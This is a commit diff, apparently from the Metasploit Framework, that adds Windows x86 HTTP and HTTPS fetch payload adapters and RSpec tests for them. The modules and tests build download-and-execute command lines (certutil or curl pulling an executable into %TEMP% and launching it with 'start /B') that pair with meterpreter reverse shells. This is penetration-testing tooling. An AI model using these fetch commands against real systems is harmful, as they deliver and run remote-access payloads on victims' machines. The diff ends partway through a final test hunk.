Merge pull request #21172 from bwatters-r7/feature/x86_windows_fetch
Add HTTP and HTTPS fetch payloads for Windows x86
This commit is contained in:
@@ -384,7 +384,6 @@ module Msf::Payload::Adapter::Fetch
|
||||
# I don't think there is a way to disable cert check in certutil....
|
||||
print_error('CERTUTIL binary does not support insecure mode')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
|
||||
get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
|
||||
@@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w{ CURL TFTP CERTUTIL }]),
|
||||
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
|
||||
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]),
|
||||
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
|
||||
|
||||
@@ -13,7 +13,6 @@ module MetasploitModule
|
||||
info,
|
||||
'Name' => 'HTTP Fetch',
|
||||
'Description' => 'Fetch and execute an x64 payload from an HTTP server.',
|
||||
'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' },
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
@@ -25,7 +24,7 @@ module MetasploitModule
|
||||
deregister_options('FETCH_COMMAND')
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]])
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::HTTP
|
||||
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTP Fetch',
|
||||
'Description' => 'Fetch and execute an x86 payload from an HTTP server.',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X86,
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
deregister_options('FETCH_COMMAND')
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -21,5 +21,12 @@ module MetasploitModule
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
deregister_options('FETCH_COMMAND')
|
||||
register_options(
|
||||
[
|
||||
# Certutil does not support insecure mode
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Adapter::Fetch::Https
|
||||
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HTTPS Fetch',
|
||||
'Description' => 'Fetch and execute an x86 payload from an HTTPS server.',
|
||||
'Author' => 'Brendan Watters',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'License' => MSF_LICENSE,
|
||||
'AdaptedArch' => ARCH_X86,
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
deregister_options('FETCH_COMMAND')
|
||||
register_options(
|
||||
[
|
||||
# Certutil does not support insecure mode
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -20,7 +20,7 @@ module MetasploitModule
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')
|
||||
deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')
|
||||
end
|
||||
|
||||
def srvport
|
||||
|
||||
@@ -21,5 +21,11 @@ module MetasploitModule
|
||||
'AdaptedPlatform' => 'win'
|
||||
)
|
||||
)
|
||||
deregister_options('FETCH_COMMAND')
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'TFTP', %w[TFTP]])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
require 'rspec'
|
||||
|
||||
RSpec.describe 'cmd/windows/http/x64' do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
# Adapter payloads cannot be instantiated standalone; they must be combined
|
||||
# with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp
|
||||
# (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be
|
||||
# exercised.
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x64',
|
||||
'singles/windows/x64/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
let(:lhost) { '192.168.1.100' }
|
||||
let(:lport) { '4444' }
|
||||
let(:fetch_srvhost) { '192.168.1.100' }
|
||||
let(:fetch_srvport) { 8080 }
|
||||
let(:fetch_uripath) { 'testpayload' }
|
||||
let(:fetch_command) { 'CERTUTIL' }
|
||||
let(:fetch_filename) { 'payload' }
|
||||
let(:fetch_writable_dir) { '%TEMP%' }
|
||||
|
||||
let(:datastore_values) do
|
||||
{
|
||||
'LHOST' => lhost,
|
||||
'LPORT' => lport,
|
||||
'FETCH_SRVHOST' => fetch_srvhost,
|
||||
'FETCH_SRVPORT' => fetch_srvport,
|
||||
'FETCH_URIPATH' => fetch_uripath,
|
||||
'FETCH_COMMAND' => fetch_command,
|
||||
'FETCH_FILENAME' => fetch_filename,
|
||||
'FETCH_WRITABLE_DIR' => fetch_writable_dir
|
||||
}
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.datastore.merge!(datastore_values)
|
||||
end
|
||||
|
||||
describe 'module metadata' do
|
||||
it 'includes HTTP Fetch in the name' do
|
||||
expect(subject.name).to include('HTTP Fetch')
|
||||
end
|
||||
|
||||
it 'targets the Windows platform' do
|
||||
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
|
||||
end
|
||||
|
||||
it 'uses CMD arch' do
|
||||
expect(subject.arch).to include(ARCH_CMD)
|
||||
end
|
||||
|
||||
it 'adapts x64 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64)
|
||||
end
|
||||
|
||||
it 'has win as the adapted platform' do
|
||||
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
|
||||
end
|
||||
|
||||
it 'adapts x64 and not x86 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'FETCH_COMMAND option' do
|
||||
it 'defaults to CERTUTIL' do
|
||||
fresh_subject = load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x64',
|
||||
'singles/windows/x64/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL')
|
||||
end
|
||||
|
||||
it 'accepts CURL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects TFTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
|
||||
end
|
||||
|
||||
it 'accepts CERTUTIL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects WGET as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects FTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_fetch_commands' do
|
||||
context 'with CERTUTIL (default)' do
|
||||
let(:fetch_command) { 'CERTUTIL' }
|
||||
|
||||
it 'generates a certutil download command over HTTP' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('certutil -urlcache -f http://')
|
||||
end
|
||||
|
||||
it 'includes the fetch server host and port in the URL' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}")
|
||||
end
|
||||
|
||||
it 'includes the URI path in the download URL' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(fetch_uripath)
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
|
||||
it 'does not include del when FETCH_DELETE is false' do
|
||||
subject.datastore['FETCH_DELETE'] = false
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).not_to include(' del ')
|
||||
end
|
||||
|
||||
it 'includes del when FETCH_DELETE is true' do
|
||||
subject.datastore['FETCH_DELETE'] = true
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(' del ')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with CURL' do
|
||||
let(:fetch_command) { 'CURL' }
|
||||
|
||||
it 'generates a curl download command over HTTP' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('curl -so')
|
||||
expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#fetch_protocol' do
|
||||
it 'returns HTTP' do
|
||||
expect(subject.fetch_protocol).to eq('HTTP')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#windows?' do
|
||||
it 'returns true for this Windows platform module' do
|
||||
expect(subject.windows?).to be(true)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,182 @@
|
||||
require 'rspec'
|
||||
|
||||
RSpec.describe 'cmd/windows/http/x86' do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
# Adapter payloads cannot be instantiated standalone; they must be combined
|
||||
# with a compatible single payload. We use windows/meterpreter_reverse_tcp
|
||||
# (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be
|
||||
# exercised.
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x86',
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
let(:lhost) { '192.168.1.100' }
|
||||
let(:lport) { '4444' }
|
||||
let(:fetch_srvhost) { '192.168.1.100' }
|
||||
let(:fetch_srvport) { 8080 }
|
||||
let(:fetch_uripath) { 'testpayload' }
|
||||
let(:fetch_command) { 'CERTUTIL' }
|
||||
let(:fetch_filename) { 'payload' }
|
||||
let(:fetch_writable_dir) { '%TEMP%' }
|
||||
|
||||
let(:datastore_values) do
|
||||
{
|
||||
'LHOST' => lhost,
|
||||
'LPORT' => lport,
|
||||
'FETCH_SRVHOST' => fetch_srvhost,
|
||||
'FETCH_SRVPORT' => fetch_srvport,
|
||||
'FETCH_URIPATH' => fetch_uripath,
|
||||
'FETCH_COMMAND' => fetch_command,
|
||||
'FETCH_FILENAME' => fetch_filename,
|
||||
'FETCH_WRITABLE_DIR' => fetch_writable_dir
|
||||
}
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.datastore.merge!(datastore_values)
|
||||
end
|
||||
|
||||
describe 'module metadata' do
|
||||
it 'includes HTTP Fetch in the name' do
|
||||
expect(subject.name).to include('HTTP Fetch')
|
||||
end
|
||||
|
||||
it 'targets the Windows platform' do
|
||||
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
|
||||
end
|
||||
|
||||
it 'uses CMD arch' do
|
||||
expect(subject.arch).to include(ARCH_CMD)
|
||||
end
|
||||
|
||||
it 'adapts x86 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86)
|
||||
end
|
||||
|
||||
it 'has win as the adapted platform' do
|
||||
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
|
||||
end
|
||||
|
||||
it 'adapts x86 and not x64 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'FETCH_COMMAND option' do
|
||||
it 'defaults to CERTUTIL' do
|
||||
fresh_subject = load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x86',
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL')
|
||||
end
|
||||
|
||||
it 'accepts CURL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects TFTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
|
||||
end
|
||||
|
||||
it 'accepts CERTUTIL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects WGET as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects FTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_fetch_commands' do
|
||||
context 'with CERTUTIL (default)' do
|
||||
let(:fetch_command) { 'CERTUTIL' }
|
||||
|
||||
it 'generates a certutil download command over HTTP' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('certutil -urlcache -f http://')
|
||||
end
|
||||
|
||||
it 'includes the fetch server host and port in the URL' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}")
|
||||
end
|
||||
|
||||
it 'includes the URI path in the download URL' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(fetch_uripath)
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
|
||||
it 'does not include del when FETCH_DELETE is false' do
|
||||
subject.datastore['FETCH_DELETE'] = false
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).not_to include(' del ')
|
||||
end
|
||||
|
||||
it 'includes del when FETCH_DELETE is true' do
|
||||
subject.datastore['FETCH_DELETE'] = true
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(' del ')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with CURL' do
|
||||
let(:fetch_command) { 'CURL' }
|
||||
|
||||
it 'generates a curl download command over HTTP' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('curl -so')
|
||||
expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#fetch_protocol' do
|
||||
it 'returns HTTP' do
|
||||
expect(subject.fetch_protocol).to eq('HTTP')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#windows?' do
|
||||
it 'returns true for this Windows platform module' do
|
||||
expect(subject.windows?).to be(true)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,153 @@
|
||||
require 'rspec'
|
||||
|
||||
RSpec.describe 'cmd/windows/https/x64' do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
# Adapter payloads cannot be instantiated standalone; they must be combined
|
||||
# with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp
|
||||
# (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be
|
||||
# exercised.
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x64',
|
||||
'singles/windows/x64/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
let(:lhost) { '192.168.1.100' }
|
||||
let(:lport) { '4444' }
|
||||
let(:fetch_srvhost) { '192.168.1.100' }
|
||||
let(:fetch_srvport) { 8443 }
|
||||
let(:fetch_uripath) { 'testpayload' }
|
||||
let(:fetch_command) { 'CURL' }
|
||||
let(:fetch_filename) { 'payload' }
|
||||
let(:fetch_writable_dir) { '%TEMP%' }
|
||||
|
||||
let(:datastore_values) do
|
||||
{
|
||||
'LHOST' => lhost,
|
||||
'LPORT' => lport,
|
||||
'FETCH_SRVHOST' => fetch_srvhost,
|
||||
'FETCH_SRVPORT' => fetch_srvport,
|
||||
'FETCH_URIPATH' => fetch_uripath,
|
||||
'FETCH_COMMAND' => fetch_command,
|
||||
'FETCH_FILENAME' => fetch_filename,
|
||||
'FETCH_WRITABLE_DIR' => fetch_writable_dir
|
||||
}
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.datastore.merge!(datastore_values)
|
||||
end
|
||||
|
||||
describe 'module metadata' do
|
||||
it 'includes HTTPS Fetch in the name' do
|
||||
expect(subject.name).to include('HTTPS Fetch')
|
||||
end
|
||||
|
||||
it 'targets the Windows platform' do
|
||||
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
|
||||
end
|
||||
|
||||
it 'uses CMD arch' do
|
||||
expect(subject.arch).to include(ARCH_CMD)
|
||||
end
|
||||
|
||||
it 'adapts x64 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64)
|
||||
end
|
||||
|
||||
it 'has win as the adapted platform' do
|
||||
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
|
||||
end
|
||||
|
||||
it 'adapts x64 and not x86 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'FETCH_COMMAND option' do
|
||||
it 'defaults to CURL' do
|
||||
fresh_subject = load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x64',
|
||||
'singles/windows/x64/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL')
|
||||
end
|
||||
|
||||
it 'accepts CURL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects TFTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects CERTUTIL as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects WGET as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects FTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_fetch_commands' do
|
||||
context 'with CURL (default)' do
|
||||
let(:fetch_command) { 'CURL' }
|
||||
|
||||
it 'generates a curl download command over HTTPS' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('curl -sko')
|
||||
expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
|
||||
it 'does not include del when FETCH_DELETE is false' do
|
||||
subject.datastore['FETCH_DELETE'] = false
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).not_to include(' del ')
|
||||
end
|
||||
|
||||
it 'includes del when FETCH_DELETE is true' do
|
||||
subject.datastore['FETCH_DELETE'] = true
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(' del ')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#fetch_protocol' do
|
||||
it 'returns HTTPS' do
|
||||
expect(subject.fetch_protocol).to eq('HTTPS')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#windows?' do
|
||||
it 'returns true for this Windows platform module' do
|
||||
expect(subject.windows?).to be(true)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,153 @@
|
||||
require 'rspec'
|
||||
|
||||
RSpec.describe 'cmd/windows/https/x86' do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
# Adapter payloads cannot be instantiated standalone; they must be combined
|
||||
# with a compatible single payload. We use windows/meterpreter_reverse_tcp
|
||||
# (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be
|
||||
# exercised.
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x86',
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
let(:lhost) { '192.168.1.100' }
|
||||
let(:lport) { '4444' }
|
||||
let(:fetch_srvhost) { '192.168.1.100' }
|
||||
let(:fetch_srvport) { 8443 }
|
||||
let(:fetch_uripath) { 'testpayload' }
|
||||
let(:fetch_command) { 'CURL' }
|
||||
let(:fetch_filename) { 'payload' }
|
||||
let(:fetch_writable_dir) { '%TEMP%' }
|
||||
|
||||
let(:datastore_values) do
|
||||
{
|
||||
'LHOST' => lhost,
|
||||
'LPORT' => lport,
|
||||
'FETCH_SRVHOST' => fetch_srvhost,
|
||||
'FETCH_SRVPORT' => fetch_srvport,
|
||||
'FETCH_URIPATH' => fetch_uripath,
|
||||
'FETCH_COMMAND' => fetch_command,
|
||||
'FETCH_FILENAME' => fetch_filename,
|
||||
'FETCH_WRITABLE_DIR' => fetch_writable_dir
|
||||
}
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.datastore.merge!(datastore_values)
|
||||
end
|
||||
|
||||
describe 'module metadata' do
|
||||
it 'includes HTTPS Fetch in the name' do
|
||||
expect(subject.name).to include('HTTPS Fetch')
|
||||
end
|
||||
|
||||
it 'targets the Windows platform' do
|
||||
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
|
||||
end
|
||||
|
||||
it 'uses CMD arch' do
|
||||
expect(subject.arch).to include(ARCH_CMD)
|
||||
end
|
||||
|
||||
it 'adapts x86 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86)
|
||||
end
|
||||
|
||||
it 'has win as the adapted platform' do
|
||||
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
|
||||
end
|
||||
|
||||
it 'adapts x86 and not x64 payloads' do
|
||||
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'FETCH_COMMAND option' do
|
||||
it 'defaults to CURL' do
|
||||
fresh_subject = load_and_create_module(
|
||||
module_type: 'payload',
|
||||
reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x86',
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
]
|
||||
)
|
||||
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL')
|
||||
end
|
||||
|
||||
it 'accepts CURL as a valid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
|
||||
end
|
||||
|
||||
it 'rejects TFTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects CERTUTIL as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects WGET as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
|
||||
end
|
||||
|
||||
it 'rejects FTP as an invalid value' do
|
||||
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_fetch_commands' do
|
||||
context 'with CURL (default)' do
|
||||
let(:fetch_command) { 'CURL' }
|
||||
|
||||
it 'generates a curl download command over HTTPS' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('curl -sko')
|
||||
expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
|
||||
end
|
||||
|
||||
it 'includes the remote destination path' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
|
||||
end
|
||||
|
||||
it 'executes the payload with start /B' do
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include('start /B')
|
||||
end
|
||||
|
||||
it 'does not include del when FETCH_DELETE is false' do
|
||||
subject.datastore['FETCH_DELETE'] = false
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).not_to include(' del ')
|
||||
end
|
||||
|
||||
it 'includes del when FETCH_DELETE is true' do
|
||||
subject.datastore['FETCH_DELETE'] = true
|
||||
cmd = subject.generate_fetch_commands
|
||||
expect(cmd).to include(' del ')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#fetch_protocol' do
|
||||
it 'returns HTTPS' do
|
||||
expect(subject.fetch_protocol).to eq('HTTPS')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#windows?' do
|
||||
it 'returns true for this Windows platform module' do
|
||||
expect(subject.windows?).to be(true)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1390,6 +1390,14 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'cmd/windows/http/x64'
|
||||
end
|
||||
|
||||
context 'cmd/windows/http/x86' do
